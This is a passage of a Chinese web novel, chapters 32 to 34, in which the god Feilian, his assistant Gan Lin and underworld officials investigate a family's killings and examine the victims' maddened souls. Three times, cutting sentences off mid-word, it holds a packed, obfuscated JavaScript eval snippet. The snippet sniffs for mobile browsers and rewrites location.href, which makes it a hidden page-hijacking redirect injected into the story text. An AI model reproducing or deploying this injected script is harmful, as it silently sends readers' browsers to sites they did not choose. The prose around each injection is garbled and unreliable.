32.32.魔子(七)感天动地父子情 甘霖随意地靠在一辆警车上,看着进进出出忙碌的警察,随着现场一点点保存取证,被害人的遗体也被装进黑色的袋子里一具具搬了出来。 有一个袋子被两个警察合力提了出来,光是那个形状,就能看出来那并非是一具完整的遗体。 分.尸是一件比想象中要难得多,也要消耗体力得多的事情,也不知道到底是谁能够做到这件事,被残害的又是陈家的哪个人。 陈家九口人,死了六个,只剩下女儿陈卿华,大儿媳项婉还有小孙女三个人,除了被飞廉发现时脑子还算清醒只是精神崩溃的陈卿华以外,项婉和小孙女都要被外勤科接管,进行后续的调查。 看过所有的现场后,飞廉和林安一前一后走了出来,甘霖迎上去,“大人,接下来做什么?” “现场的事情交给警察,我们先回去。” “项婉呢?” “刚才让丁令威过来已经带走了。”飞廉拿出手机,走到一旁去,“你先等一下,我打个电话。” 林安过来站在甘霖的身边,“这件案子什么时候能结束,会像上次的事件一样,演变成连环案件吗,如果是那样就太可怕了,光是第一个现场就死了六个人,继续发展下去还不知道会变成什么样。” 甘霖没办法回答这个问题,他也希望事情能够早点结束,但现在谁又敢断言,“放心吧,林队长,有我们科长在,会尽快把这件事了结的。” 林安低笑了一声,“你俩感情真好。” 甘霖感觉这句话有些奇怪,想了想,往林安那边靠了靠,低声道,“林队长,你知道我们科长是很厉害的神吧。” 虽然让林安这样从小到大接受科学教育,无论是心理还是身体都成长为一个唯物主义战士的人承认面前站着一个神仙很难,但事实不容辩驳,他颇有些不情愿地点了点头,“嗯。” “神仙也有轮回转世,我应该是和他爹长得很像,或者有什么渊源,我们之间……”甘霖的语气带了点神秘和得意,“是父子情哦,所以他才这么照顾我,信任我的。” 啊?! 林安一脸难以置信,“父子?你确定?血缘父子?他跟你说的,他把你当爹?” “那倒不是,应该只是把他养大的养父。”甘霖摸了摸下巴,“我猜的,而且他的表现也很像这么回事,之前我和我初恋出去吃饭,他很缠人的,就跟不想让父母离婚的小孩子似的,真让人没办法呢。” 林安觉得很离谱,“你哪个学校毕业的,不是,你上学了吗?” “啧,怎么骂这么脏,我可是我们县的理科状元。”甘霖报上自己的学校名字,“正经重点大学优秀毕业生,本来要入大公司当程序员的。” 智商足够,那就是情商有问题,林安看着甘霖摇摇头,“你也能有初恋,你和你初恋成了吗,谈过吗?” “没有,暧昧了几年,结果还没捅破窗户纸就黄了。”甘霖看着林安很不满,“林队长,看你是个大帅哥,人也很好,我才和你说这些的,你怎么看不起人呢。” 林安也觉得甘霖不像是没情商的人,对方挺会说话挺会来事儿的,左右逢源游刃有余地,脑子不至于粗线到这种地步,“飞廉把你当爹的事情,是你自己推测的,还是别人和你说的?” “你怎么知道是别人说的?”甘霖很惊讶,其实当时他听孰湖说了是屏翳把飞廉养大,只是当笑话似的,脑子里闪过对方该不会把他当爹这个想法,后面就没当回事了。 可是这两天飞廉的表现实在有些奇怪,他就又和孰湖偷偷交流了一下,当然没说是自己和飞廉,只用了万年不变的借口——我有一个朋友。 结果孰湖当时就打电话过来了,“绝对是把你那个朋友当爹妈了。” “啊,为什么,你怎么能这么确定?” 孰湖义愤填膺,“因为承泣那个大傻子就是这样啊,以前我被老家的崦嵫山山神送去飞廉大人那里接受过一段时间的教导,承泣和我差不多大,飞廉大人对我们来说就和父亲一样,结果每次飞廉大人单独教导我的时候,他都硬要缠过来,我和飞廉大人做什么事,他也硬要跟着,还总是仗着自己比我高比我壮欺负我,后来我才知道,他那就是幼稚,就是怕我抢走飞廉大人对他的关注。” 甘霖对自己父母已经没有什么很深刻的记忆了,不过听孰湖这么一说,他想起自己当时那个荒唐的念头,顿时就觉得,确实如此啊,他在网上刷到过,小孩子都不喜欢父母夸别的孩子。 听完甘霖的话林安只觉得果然普通人类成为这个星球的主宰也不是没有道理的,什么神啊妖啊的,从古至今都挺傻的,“你说的孰湖就是刚才把小姑娘带走的那个傻大个吧?” “嗯。” 林安叹了口气,拍了拍甘霖的肩膀,“虽然你这个工作挺特殊,不过也还是要交一些脑子正常的朋友。”说完他看着走回来的飞廉,眼神都有些同情了。 飞廉被看得莫名其妙,“怎么了?” 林安没回答他,掏出手机伸到甘霖面前,“加个联系方式。” 甘霖扫码加好友,“为什么?” 因为你们两个傻子有意思,他真的很好奇这两个人的后续到底会发展成什么样。 飞廉蹙眉,“你为什么要加他好友。” 果然,这不就是吃醋了吗,林安故意道,“漂亮小帅哥谁不喜欢,提升朋友圈的颜值上限。” 甘霖已经完全被孰湖带偏了,根本没往那个方面想,“以后工作上打交道嘛,大人你放心,林队长比我大很多的。”所以我不会把他当孩子的。 飞廉的表情疑虑和不悦并生,更不明白他到底在说什么了,“他的年纪和你有什么关系,你要择偶吗?” “啊,也对哦。”甘霖转头看了看林安,虽然胡子拉扯有些憔悴,一副睡眠不足吸烟过度的样子,但确实是符合他喜好的大帅哥。 林安赶紧摆摆手,阻止飞廉用眼神鞭笞自己,“算了,我现在连亲嘴打啵的时间都没有,你俩赶紧干正事去,早点给我带来好消息。” 飞廉大步上前,抓住甘霖的胳膊,也顾不得暴露,当场消失了。 “啧。”林安感慨,就算是亲眼看见也依然觉得很离谱呢。 飞廉直接把甘霖带回了房车,声音冷硬,“今天已经很晚了,剩下的事情明天再说,你早些休息。” 甘霖看出他情绪不佳,“飞廉大人。” 飞廉停下脚步,微微侧头,一言不发,摆出了你说我听着的姿势。 “我是那种就算和配偶离婚了,也不会给孩子找后妈,绝对会当一个好父亲的人哦。” 飞廉转过身,皱眉看着他,“你的意思是你就算和原来的爱人分开了,也不会再爱上别人?” “呃,是吧。”怎么感觉关注的重点不太一样呢,甘霖迟疑。 “我知道了。”飞廉却心情很好似的,唇角甚至还拉出了一个漂亮的弧度,“睡吧。” 他离开后,甘霖换了衣服就瘫在床上了,洗漱的时候眼皮子就在打架,上床几乎秒睡,只是看了那样血腥的现场,他不可能不受一点影响,梦里黑红一片,无数人影手持利器, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346765|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来回狂奔,互相残杀,夹杂着嘶声嚎叫和哭喊,让他的梦也经历了一场屠杀,他参与其中,倍觉惊恐却不曾惊醒。 醒来后他比睡着还累,“今晚不会再做这种梦了吧,要是那样,我还不如不睡了。” 他顶着熊猫眼去上班,一结果办公室里一个人都没有,“这咋了,放假了?” 看了眼时间,周三,正常工作日,于是他掏出手机打给孰湖,“办公室怎么一个人都没有,你们干嘛去了,飞廉大人呢?” “你这么早就醒了?我们都在幽都呢,飞廉大人说你昨晚加班了,让你多睡会儿呢。” “越睡越累,我已经醒了,去幽都找你们吧,是为了昨晚的案子吗?” “是哦,那你来吧。”孰湖说完就挂了电话。 甘霖重新背好包,站在门口才想起一件事,飞廉不在,他怎么去啊? 他试着走进电梯,按了-2层下面只标了一个点的按键,果然,他没有灵力也没有权限,电梯里和他第一次尝试的时候一样,想起了往生咒,没有任何动作。 让别人来接是不是有点麻烦,毕竟他都已经迟到了,再去打扰正在工作的人,不符合社畜守则,站在电梯里想了想,甘霖按下了九楼,去了上次飞廉带他去过的上下联通事务科。 葵璇见到他有些惊讶,“甘先生,你怎么会来这里,有什么事吗?” “呃,我今天睡过头了,飞廉大人和孰湖他们都去幽都了,那个电梯我用不了,所以我想麻烦你,能不能送我过去一趟……你要是忙的话就算了,我给孰湖打电话。” 葵璇柔笑着站起身,“正好我也要去找冥君大人报告一些工作,那就一起去吧。” 甘霖松了口气,不知道为什么,他看着温柔无害的葵璇会略有些紧张,或许是因为和对方不熟,而飞廉又不再身边吧。 两人通过电梯到达幽都,走出结界看到的忘川景色,甘霖已经觉得很熟悉了。 他们穿过忘川附近的商业区,一直往里走,不断地深入,最后来到了象征幽都冥君的地位和权利,历任酆都大帝工作起居的宫殿——鬼宫,葵璇和甘霖拿出自己的工作证在宫门守卫旁边刷了一下,对方就放行了。 每次来都是闪现或者瞬移,这还是甘霖第一次看到幽冥殿周围的幽都景色,和人间很像,有大街小巷,虽然没有忘川商业区那么繁华,但也有一些步行街和各种店铺,不过没有特别的高楼大厦,最多也就五六层的模样,全都是红瓦黑墙的仿古建筑,乍一看很像是动漫里面某个岛国的小城市。 鬼宫像是把人间故宫最精华的部分节选了下来,穿过两道宫门,正对着的就是最重要也最大的幽冥殿。 两人走进幽冥殿,里面空旷且雄伟,就和故宫的太和殿似的,不过色调不同,更加黑暗一些,里面一个人都没有,绕到耳房的位置推开门,就走进了甘霖熟悉的承泣那间充满霸总味道,摆着黑色皮沙发的办公室。 飞廉已经看着门口了,像是早就知道甘霖会在这一刻进门似的。 一路上气氛都有些尴尬,甘霖几乎没和葵璇说什么,此时看到熟悉的人,心情还是很雀跃的,“大人!” “嗯。”飞廉抄着手靠在窗台上,“过来。” 甘霖就过去站在他身边。 飞廉看了眼他的脸色,“没睡好?” “做了一晚上的梦,情况怎么样,查到哪了?”甘霖揉了揉眼睛。 “还在等。” “等什么?” 飞廉:“等无常和判官把昨晚死亡六个人的魂魄带来。” 33.33.魔子(八)承泣发威 魂魄到达幽都是要经过一定的程序的,就算是承泣特批加急,程序也不能省,最多也就是不用排队,可以一路绿灯优先办理。 “要是他们都喝了孟婆汤什么都不记得了,还怎么问?”甘霖问。 坐在办公桌前玩游戏的承泣闻言抬头睨了他一眼,“孟婆汤是转世投胎前的最后一道程序,不是第一道,要是把自己活着时做过的事情都忘了,那各个冥司的惩罚还有什么意义,他们又怎么能忏悔改过,净化魂魄?” 也是哦,甘霖又看向角落,指着漂浮在孰湖身边的项婉和小女孩珠珠问,“不过他们两个还是活着的人,就这么带到幽都来没问题吗,不会变得像我一样吗?” “你那是意外,没有早做准备,这两人已经被施加过固魂守魄的法术了,不会有事。”承泣不耐道,估计是游戏输了,他“啪”的一声把手机倒扣在了桌面上,“让你多看点书,你完全没看是吗?” “我又没问你,你不想说可以不理我,干嘛针对我,工作这么忙我哪有时间。”甘霖翻了个白眼,他现在看承泣就跟看叛逆期的孙子似的,虽然生气,但懒得计较。 被叫来帮忙的祸斗哈哈大笑,“我就喜欢听你说话,真有意思。” 这位在甘霖眼里可是实打实的金主,所以他特别喜欢祸斗,“迦楼罗大人还好吗?” “挺好的,青鸾成功出世,我的火精也换回来了,不过最近是北海之鲲化而为鹏的时间,他又跑去北海忙了,本来我陪着他的,不过飞廉大人有事,就把我叫来了。”祸斗笑道。 两个人闲聊着,承泣的手机忽然响了起来,他被甘霖怼了一顿,心情不好,接起电话声音冷得跟冰碴子似的,恨不得穿过手机扎进对方的身体里,“怎么这么慢?” “殿下!我们遇袭了,有人要把死者魂魄带走!”电话那头传来急促的声音,“对方很厉害。” “守着,我马上到。”承泣挂了电话起身,“敢闹到我幽都来,当真以为这里没人了吗!”他迈出一步,随着脚落地,人也消失了踪迹。 “孰湖,你守着这两个凡人。”飞廉抓住甘霖的胳膊,“走。” 他们两个和祸斗紧随其后,追着承泣的灵力到达了事发地。 脚一落地,甘霖就被承泣塞在一块黑色的巨石后面,身上还被扔了个保护结界。 他看了看周围,和十八重冥司很像的昏黄天空,不过景色还不错,比起十八重冥司的大戈壁,这里有点像是一个草原,一望无际的深绿,间或有一些黑色的石头和异常高大的树木。 他身后的石头很嶙峋,一看就是很好爬的样子,为了看清楚发生了什么事情,他灵巧地爬上了这块三米多高的大石头,居高临下地看着不远处的情况。 飞廉承泣和祸斗都还没有参战,站在一旁像是在观察来袭者的情况和路数。 战斗中心,身穿黑色和白色衣服的两个无常,两个判官,承泣的秘书朱晦和十几个阴兵正在和一个浑身笼罩一团黑雾的人战斗,虽然数量占据绝对优势,可这么半天了,连对方分毫都没有碰到,反倒是自己挂了些彩,地上还倒了四五个阴兵。 要说不论是黑白无常还是朱晦和两位判官,就算是比不上飞廉他们,也是神仙里面很厉害的人了,却一时拿黑雾人没有丝毫办法,也只是勉强没让自己手上而已,随着战斗时间延长,他们的招式也明显有些仓促混乱,显然已经落入了下风。 很厉害,这个一身黑雾的人绝对很厉害。 甘霖看着他身上的黑雾,忽然就想到了那些被飞廉斩杀的蛊雕,那些蛊雕在吃人的时候身上也笼罩着几乎一模一样的黑雾,伪装成犬形来干扰调查,他们到最后也不知道这个法术是谁施加给蛊雕的,也没有从鬼车和谏珂的嘴里问出真正的幕后黑手,还有之后进入太虚灵宝阁偷东西的人如今也毫无头绪。 难不成都是眼前这个黑雾人吗? 不管是蛊雕吃人,还是陈家自相残杀,这两个案子死了十几个人,全都是这个人做的吗? 承泣冷哼一声拔地而起,悬空几米,看着那个黑雾人,漂亮的眉眼冰冷凌厉,一身黑衣加上忽然爆发的气势,绝不愧于酆都大帝幽都冥君之名。 他伸出右手一甩,一条十来米的长鞭出现在他手中,那条鞭子不像是什么东西编制而成的,倒像是某种宝石雕刻出来的,以鞭子为中心周围十厘米的范围有很多像是被抽出来的水滴一样的形状不规则的宝石,随着他的动作绕着鞭子来回漂浮,整个兵器有种与材质不相符的柔软和韧性。 甘霖看向飞廉的右耳,没错,承泣手中的鞭子无论是颜色还是材质,都和飞廉右耳耳坠的湖蓝色宝石几乎一模一样,说不定是爸爸送儿子的成年礼之类的。 承泣甩开鞭子抽向黑雾人,黑雾人拿手中看不出样子的武器一挡,整个人被打得往后退了十几米,不过依然稳住了身形站在地上,也没有受伤。 哇,承泣确实厉害,有冷傲的资本!甘霖由衷感叹。 黑雾人刚站定,承泣已经闪现至他面前,大长腿一个飞踢,伴随着海水般深蓝色的一道灵力正中黑雾人心口,对方又被踹飞出去好远,这次没那么幸运,在地上打了好几个滚。 还没滚远,就被承泣的鞭子缠住身体,被他甩飞到半空,然后狠狠砸在地面上。 “阴沟宵小,也敢在我幽都放肆。”承泣冲至对方面前,用鞭子缠住对方,一把揪住对方,“我倒要看看你是个什么玩意。” 甘霖目瞪口呆,那人身上黑色的雾气,竟然就跟什么实体的布料似的,被承泣抓在了手中,一点点从身体上剥了下来,然后在脱离身体的一刻就消散在空中,只留下承泣手中的人。 那不能说是一个人,因为就算是甘霖也能看出来,对方分明就是一具尸体,年轻的面容普通的男人,脸色铁青发灰,看样子已经死了很久了,身上还穿着冥差的黑西装制服。 承泣低骂了一句,松开手,尸体便掉落在了地上。 朱晦捂着受了轻伤的胳膊过来,一张天生愁苦的脸,丧眉耷眼地看着地上的尸体,“是在第三重冥司当差的。” 飞廉早有预料,“那个人从头到尾所有的事情都没有沾染自己的手,不会冒着暴露身份的风险来这里的,只是用那种黑色的雾气操纵了一具冥差的尸体而已,祸斗。” “哎。”祸斗应了一声,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346766|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边变回原形,一边走到尸体旁边,在尸体身上嗅了嗅,“果然……虽然很淡,不过还是能闻出来,和之前我在赤霄笼上闻到的那个辨不出是谁的味道是一样的。” 果然,这件事和蛊雕那个案子也有关系。 “这六个魂魄没有被抢走就好,先回去。”飞廉道。 甘霖赶紧挥手,“大人,别忘了我!” 飞廉走到巨石前,伸出一只手,“不会,跳下来。” 甘霖有些迟疑,“你还是稍等等,我自己爬下去。”有道是上山容易下山难,他屁股撅了半天,竟然没找到落脚的地方。 “跳。”飞廉道。 甘霖没办法,只能闭上眼睛跳下去。 飞廉单手搂住他的腰,为了缓冲惯性,微微转了半圈,将他轻轻放在地上,“你不相信我?” “不是不是,就是太高了确实有点怕。”甘霖哪敢承认,赶紧编了个理由,也是,飞廉怎么可能接不住区区一百多斤的他。 “走吧,我们赶紧工作,早点把事情查清楚,免得更多人受伤害。”甘霖抬脚就走。 飞廉默默跟在后面,手机忽然震动了一下,他掏出来一看,是祸斗发过来的消息,一张照片,抓拍的刚才甘霖跳进他怀里,因为爬高埋首他肩膀的一瞬间。 他回头看了眼笑容暧昧的祸斗,保存图片,然后给对方转了一万块钱过去。 【家有小山鸡:多谢大人惠顾,我看你俩现在这个状况不错嘛,旧情复燃指日可待?】 【飞廉:没有。】 【家有小山鸡:大人要抓紧啊,凡人寿命很短的,再拖拖,他这一世又要结束了。】 【飞廉:于他我是陌生人,没有旧情。】 【家有小山鸡:想办法让他恢复记忆不就好了,千年前我家小山鸡入世渡劫,和邻居一个男人差点擦枪走火,我偷偷地解开了他记忆的封印,他想起我们的感情,立马老实了。】 飞廉蹙眉:【这是违反天规的。】 【家有小山鸡:我可是把办法说了,大人该不会去举报我吧?小山鸡是被迫的,他是无辜的!惊恐.jpg。】 【飞廉:……】 【飞廉:还有一事要你帮忙。】 【家有小山鸡:价格公道童叟无欺,大人请将。】 甘霖也不知道这是哪儿,走了两步发现飞廉没有跟上来,回头一看,对方低头拿着手机,修长的手指翻飞,也不知道在和谁聊什么。 真是奇怪,明明一个不知道泡面和方便面是一个东西,一板一眼照本宣科的人,手机倒是玩得挺溜的。 “大人,承泣他们都走了,我们要步行回去吗,这是哪儿啊。”甘霖拖着调子喊。 飞廉“嗯”了一声,迈开修长的腿几步过来,带着他闪现回了幽冥殿。 这次是在古朴庄重的大殿里,六个魂魄一字排开飘在黑色的光亮地板上,发着淡淡的属于魂魄特有的微光。 这个大殿莫名有种阴冷,说话都自带回声,他只能尽力压低声音,“大人,这些魂魄会告诉我们真相吗?” 飞廉垂眸看他,然后看向高处坐着承泣,“这就要看承泣了。” 34.34.魔子(九)与众不同的眼眸 甘霖还是第一次看到魂魄,他以为会和从小到大看到的影视剧一样,是那种透明的鬼影,但其实完全不是。 就是实打实的人,和他们活着的时候一模一样,穿着忘川前统一发的像是太极服一样的白色衣服,要不是身上的微光和离地十厘米漂浮的姿态,真的完全看不出是魂魄。 承泣一身黑色的西装坐在自己的像是黑曜石打造出来的嶙峋又华贵的宝座上,翘着二郎腿,身体微斜,一只胳膊撑在扶手上,白玉修长的手指在太阳穴轻轻点着,玉骨冰姿,冷冽如雪,看不出在想什么。 “承泣好帅,蛊王啊。”甘霖捂着胸口微微感叹,这么好看的大帅哥,应该好好撩拨一下的,奈何是孙子,张嘴就想骂,说不出调戏的话来。 飞廉斜了他一眼,挥手变出一排椅子,走过去坐下。 祸斗也笑容满面地坐过去,可偏偏和飞廉隔开了一位。 甘霖看了眼飞廉,对方低头不知道在手机上看什么,没有和他说话的意思,他有些拿不准,自己是该过去坐在他的身边,还是应该站在他的后面。 最后他抬头看了眼承泣身边的朱晦,还是过去站在了飞廉的身后。 毕竟是助理,助理就该有个助理的样子,要是他又自作主张坐在飞廉身边,承泣那个家伙说不定又要说他不懂规矩,然后对他挑理了,现在不是和那个中二少年斗嘴的时候,他不想多费口舌。 祸斗噗嗤一声笑了出来,看了眼脸色发黑的飞廉和不明所以的甘霖,“冥君大人,赶快吧,我家小山鸡该想我了。” 承泣手指轻动,捏了个决,六个魂魄就落在了地上。 “我还以为他们会一直就这么飘着呢。”甘霖道。 结果飞廉就跟没听到似的,没像之前的每一次那样解答他的疑问。 祸斗道:“魂魄转世是需要很长时间的,每个人都不一样,在接受完历练惩罚后等待转世的时间里,他们就相当于是幽都的居民,外来人口,一直飘着也不是个事儿吧。” “原来如此,让他们落地是只有承泣才能做到法术?” “各个无常判官,五方鬼帝和十殿阎罗都会的,不然承泣得忙死。”祸斗说完拿出手机给飞廉发消息。 【家有小山鸡:飞廉大人,道阻且长啊。】 飞廉低头看了眼手机,没有回复。 【家有小山鸡:作为三界恩爱夫夫的代表,爱情的象征,我可以给你一些实用的建议哦。】 祸斗带着看好戏的心情发出消息,结果后面出现了一个大大的感叹号。 【消息已发出,但被对方拒收了。】 祸斗:…… 那边承泣已经再次施法,原本一直闭着眼睛陷入沉睡状态的六个魂魄忽然睁开眼睛,原地暴起,没有一秒钟的犹豫就开始互相攻击。 承泣身边的朱晦赶紧挥手,立刻有黑色带着尖锐荆棘的铁链从六人脚下的虚空中伸出将他们死死裹缠,让他们不能动弹分毫,只剩下刺人鼓膜,催人头痛的嘶声嚎叫。 “已经不是单纯肉.身上的问题了,他们就连魂魄都已经疯了。”承泣从高高的王位上一步一步走下来,饶有兴趣地围着六个人看了一圈,“朱晦,去把那两个人也带过来。” 朱晦去了耳房承泣的办公室,没一会儿和孰湖一起出来,身后飘着项婉和珠珠的身体。 承泣微微招手,两个人的身体就飘到了他身边,他嘴角噙着一抹有些邪性地笑,一只手在两人天灵盖的地方点过,然后往后一拉,两人的魂魄就那样被一点点抽出了身体。 甘霖眼睁睁看着两人原本正常的肤色随着魂魄的抽离一点点变得灰败发青,等灵魂完全抽出身体的时候,他们的身体看上去也已经和死人一样,丝毫没有一点生气了。 “他们死了吗?”他的心一下子提了起来,像是一个炸弹,堵在了他的喉咙,让他有些窒息。 “死了,也不算是真的死,如果魂魄能够修复,就会让他们复生,若是无法修复,他们这样疯着还不如死了。”承泣说道。 甘霖松了口气,不管怎么样,至少能让珠珠有活下去的希望,毕竟只是个八岁的小女孩,没有做错任何事,想到这里,他看着承泣的目光都有些期待了,“能看出什么吗?” 承泣没说话,还在看八个人的魂魄。 甘霖想着别打扰他,看了眼飞廉,最后还是转向祸斗,压低声音问,“难道魂魄在幽都的时候要一直这样发散淡淡的光芒吗?” 他话音一落,所有人都转头看向了他,就连他们对面站成一排一直没说话的两个无常和判官也是,一脸惊讶。 甘霖被吓了一跳,“怎、怎么了?”他说错什么话了吗。 “真是一双了不得的眼睛,居然能看到魂光。”惊讶过后,祸斗表情带笑,眼神探究地看着甘霖感叹。 甘霖点头,“飞廉大人也说过,我的阴阳眼比较特殊。” 祸斗没说什么,历史长河中有名的除妖师和道士成百上千,开了眼的人多如过江之鲫,他可从来没听说过谁的阴阳眼能够看到魂光。 “很厉害吗?”甘霖问。 祸斗点头,“在我认知的漫长时光里,我知道的能够看到魂光的人,只有四个。” “历任酆都大帝,也就是冥君本人,四御之一并分管幽都的后土大神,拥有名为火精的神器的龙族先尊,烛阴,还有现在唯一拥有火精的烛阴的弟子,不才在下我本人。”他说着伸出指头数着。 “冥君不可能同时存在两位,所以现在就是承泣,后土大神闭关隐居千年,是生是死尚未可知,我师父烛阴已经陨落,世间再无此人,所以现在实际上就只有我和承泣能够看到魂光。”祸斗道,“现在要加上你了。” 他这么一说,甘霖莫名产生了一种恐惧感,因为未知的强大力量从来都不是庇佑,而是诅咒,“那我为什么……” “火精是盘古大神右眼化为月亮时同时所出,一共有三个,一个在五千年前三界分开时成为了稳定三界秩序的锚点,也就是现在我手中的这一个,一个成为了历任酆都大帝的法器,每个成为冥君的人都要穿上这件法器,法器会包裹在冥君的魂魄外,与他融为一体,加持他管理幽都的各项技能,譬如从活人身上生抽魂魄,除了冥君无人能够做到,另外一个我师父烛阴自己留着,后随着他的陨落消散在了世间。” 祸斗将关于火精的事情娓娓道来,平常懒散带笑的眼睛此时犀利如警犬,“难不成你和火精有什么关联?” 甘霖摇摇头,“你说的什么皇天后土,烛阴火精我连听都没听说过。” 所有人都在用探究的,惊讶的眼神看着他,或含蓄或直白,就连孰湖都瞪着湛蓝的大眼睛,可却没有一个人能回答他心中的疑问,甘霖感觉自己像是站在了九重天斩妖台的中央,四周密不透风地围满了人,每个人都冷眼旁观,考虑要不要剖开他的身体和灵魂,看看他究竟为什么成为了不人不鬼不仙不妖的一个异类。 下意识地,他一把抓住了飞廉冰凉的手,“大人……” 飞廉抬眼,眼神一一扫过无常判官和几个冥差,最后落在承泣脸上,“承泣。” 承泣收回看着甘霖的眼睛,挥了挥手,“你们都下去,朱晦也是,这里交给我即可。” “孰湖,你也会去,去帮丁令威。”飞廉道。 孰湖显然不想走,因为他的好奇心还没有被满足,可他又不敢忤逆飞廉的意思,所以还是一步三回头的离开了。 幽冥殿里一下子变得更空荡了,那些眼神不见了,甘霖也仿佛落地了一样,不安感消失,呼吸都顺畅了。 承泣想起什么,“我记得你甚至还能看到散步在环境中极其浅淡的灵力是吧,这一点,三界可没人能够做到。” 甘霖的心又揪了,抓着飞廉的手也不自觉地用了力。 “放心,将来总能知道的,你为什么会这样。”飞廉警告地看了承泣一眼,安慰道。 虽然他的语气平直,甚至有些冷漠,但甘霖听到他这么说,还是松了口气,又变回了平时的他,笑道,“没事儿,有飞廉大人在,你总不能让他们把我生剖活剐做研究吧。” 听到他的这句话,飞廉像是愣了一下,仿佛记起了什么不好的回忆,移开视线,声音哑涩,“别这样说。” 空气有些凝滞。 承泣道,“除了魂光呢,你还能看出什么?” “唔……每个人魂魄的颜色都是一样的吗,淡淡的灰色?” “哇哦,你比我还厉害。”祸斗惊叹,“‘凡人外’的魂魄会因为灵力属性的问题和修为高低呈现不同的颜色,但凡人都是一样的,全都是白色,我看到的就是白光。” “承泣呢,你也看到白色?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351487|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我和你一样,能够看到淡灰色。” 甘霖松了口气,他不是唯一一个就好,“这个颜色说明什么?” “说明他们的魂魄污秽混浊。”承泣道,补了一句,“他们的魂魄里还夹杂着别人的魂魄,这就是让他们发疯的原因。” 这个就算是承泣不解释,甘霖大概也能猜到原因,一个人的三魂七魄是固定的,如果硬要强加另外的魂魄进来,就好像是一个人有两个截然不同的意识一样,类似人格分裂或精神分裂,肯定会出问题的。 “怪不得陈老爷子说他们家的狗是他的仇人,或许是因为他身体里的魂魄和狗身上的魂魄前世真的是仇人……”甘霖想起季然台的话喃喃道。 “是有人把别人的魂魄抽出来塞进了他们的身体里吗,除了承泣还有谁能做到这样的事情,又为什么要这样做?”他不能理解,神仙打架凡人遭殃,这些人这么厉害,在三界做什么不好,到底为什么要害凡人性命呢。 听到他的话,承泣又开始盯他。 甘霖:“你干嘛这个眼神,我可没有怀疑你的意思,只是单纯发出疑问而已。” “也不一定要抽出活人的魂魄。”承泣白了他一眼,掏出手机给秘书打电话,“朱晦,立马让人去查,所有尚未转世的魂魄全都要查,十八重冥司挨个查遍,一个都不能放过,看有没有失踪的下落不明的,速度报上来。” “现在怎么办?”甘霖问,“任何事情发展到这一步都是有个过程的,上次鬼车的事情也是一样,一开始都是隔几天让一个蛊雕吃一个人,后来是因为察觉到被发现了,才破罐子破摔,一下子派了一半的蛊雕出来,这次一夜就死了六个人,已经是相当恶性的案件了,之前居然连一点缓冲过渡都没有,之后要是再有类似的事情,也不知道会恶化成什么样。” 他只是想一想都觉得胆寒,也能理解林安为什么总是那么急躁了。 “你说的,所以我已经让丁令威联合全国所有城隍去调查了,看看近期其他的地方有没有类似的案件。”飞廉道。 “哦,我说怎么没有见到他呢。”甘霖看向项婉和珠珠,“她们两个怎么办,能分离出不属于她们的魂魄,让她们恢复正常吗?” 飞廉发现项婉的时候,她手中的刀还砍在自己儿子的脖子上,就算是分离出魂魄,恢复了正常,想到昨夜发生的一切,恐怕也难以接受。 但珠珠还只是个八岁的小女孩,什么都没有做,飞廉及时的阻止了她,想到季然台说珠珠是如何乖巧可爱,甘霖都觉得有些心痛,至少让这个小女孩好好活下去吧。 “这很难,但也不是完全没有办法,这就不是你操心的事情了,你们先回去,我这边有进展会通知你们。”承泣不客气地下了逐客令。 祸斗如遭大赦地站起身,电话已经拨出去了,“迦楼罗,我这就过去找你了,有要带的东西吗……为什么不让我回去?!我明明只在晚上缠着你好不好,怎么就打扰你监测鲲鹏了……烦死了,找个人来把那些大鱼全吃掉!” “祸斗。”飞廉叫住已经迫不及待冲出幽冥殿祸斗。 祸斗急刹车,回头,“大人还有何事?” 飞廉:“我说的事情别忘了。” 祸斗露出个了然的笑,“我办事,您放心。”说完就原地消失了。 甘霖很好奇,“大人,什么事?” “没什么。”飞廉迈出长腿。 甘霖总觉得在他脸上看到了一秒的心虚,“奇怪了,到底什么事嘛。” 两人回到了办公室,甘霖收到了林安的消息。 “林队长居然要请我吃午饭。” “不许去。”飞廉立马道。 甘霖有些惊讶,“为什么?”这是他自己的事吧,他都没说什么呢,怎么飞廉还不许上了。 飞廉喉结滚动了一下,“现在是危险关头,你魂魄本就不稳,最好不要离开这里。” 甘霖摸着下巴想了想,“其实我挺想和他一起吃饭的。” “为何?” 甘霖笑,“因为林队长是我喜欢的类型啊,黑皮糙汉,很有男人味不是吗。”他和季然台已经没什么关系了,但作为一个早就觉醒了取向意识的gay,接触喜欢的类型不是很正常嘛。 飞廉:…… 拿出手机,他默默把祸斗从黑名单里放了出来。 35.35.魔子(十)假装林安男朋友 